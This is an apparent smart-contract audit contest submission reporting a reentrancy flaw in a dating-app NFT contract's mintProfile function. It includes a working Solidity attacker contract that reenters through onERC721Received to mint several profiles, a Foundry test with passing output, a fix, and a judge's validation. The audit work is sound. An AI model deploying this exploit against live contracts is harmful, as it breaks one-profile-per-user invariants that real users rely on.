DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Multiple minting in mintProfile. Rentrancy.

Summary

Minting with _safeMint() before tokenId is assigned to a user allows for multiple mints of tokens.

Vulnerability Details

https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/main/src/SoulboundProfileNFT.sol#L34-L38

_safeMint(msg.sender, tokenId);//Minting
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;

Since minting _safeMint is done before the tokenId is assigned to a user, multiple token mints are possible.

POC

Here is an example of a contract that reenters the function mintProfile5 times; however, this number is purly chosen for test purposes. In reality, a much larger number is pobsible."

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../src/SoulboundProfileNFT.sol";
// Minimal interface for ERC721Receiver
interface IERC721Receiver {
function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data
) external returns (bytes4);
}
contract MaliciousMinter is IERC721Receiver {
SoulboundProfileNFT public nft;
uint256 public reentryCount;
uint256 constant MAX_REENTRIES = 5;
constructor(address _nft) {
nft = SoulboundProfileNFT(_nft);
}
// Initiates the attack by calling mintProfile on the NFT contract.
function attackMint(string memory name, uint8 age, string memory profileImage) external {
nft.mintProfile(name, age, profileImage);
}
// This function is called by the NFT contract during _safeMint.
// It will reenter mintProfile up to MAX_REENTRIES times.
function onERC721Received( address,address,uint256,
bytes calldata
) external override returns (bytes4) {
if (reentryCount < MAX_REENTRIES) {
reentryCount++;
string memory uniqueName = string(abi.encodePacked("Reenter-", Strings.toString(reentryCount)));
string memory uniqueImage = string(abi.encodePacked("ipfs://image-", Strings.toString(reentryCount)));
nft.mintProfile(uniqueName, 30, uniqueImage) ;
}
return this.onERC721Received.selector;
}
}

Here is the test that runs this POC. The test showcases how User 1 mints 5 NFTs and how another user, after that, mints his NFT, and the tokenId number, instead of 2, is 7.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "./MaliciousMinter.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract SoulboundProfileNFTTestReentrancy is Test {
SoulboundProfileNFT soulboundNFT;
MaliciousMinter malicious;
// This address is used as a dummy user for non-malicious tests
address user = address(0xBEEF);
function setUp() public {
// Deploy the NFT contract (from src)
soulboundNFT = new SoulboundProfileNFT();
// Deploy the malicious contract (located in test)
malicious = new MaliciousMinter(address(soulboundNFT));
}
function testReentrancyAttackUnlimitedFive() public {
malicious.attackMint("Malicious", 30, "ipfs://maliciousImage");
uint256 tokenId = soulboundNFT.profileToToken(address(malicious));
emit log_named_uint("Final Token ID", tokenId);
assertEq(soulboundNFT.balanceOf(address(malicious)), 6, "Attacker should have minted 6 NFTs");
uint256 reentryCount = malicious.reentryCount();
emit log_named_uint("Reentrancy Count", reentryCount);
assertEq(reentryCount, 5, "Reentrancy count should be 5");
vm.prank(address(0x1));
string memory uniqueName = string(abi.encodePacked("Legit-"));
string memory uniqueImage = string(abi.encodePacked("ipfs://img-"));
soulboundNFT.mintProfile(uniqueName, 30, uniqueImage) ;
console.log("New user",soulboundNFT.profileToToken(address(0x1)));
}
}

Results:
[PASS] testReentrancyAttackUnlimitedFive() (gas: 905568)

Logs:
Final Token ID: 1

Reentrancy Count: 5

New user 7

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.34ms (3.85ms CPU time)

Impact

  1. Allows minting multiple nfts for a user, breaking core invariant - 1 nft for 1 user

  2. Bypasses this check: require(profileToToken[msg.sender] == 0, "Profile already exists");

Tools Used

Foundry and manual review

Recommendations

Minting _safeMint() should be placed at the end. This way, the token will already be assigned by the time minting is done, preventing a user from minting multiple NFTs.

Adding the nonReentrant() modifier further mitigates any attempts of reentrancy.

// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);//Minting
Updates

Appeal created

n0kto Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.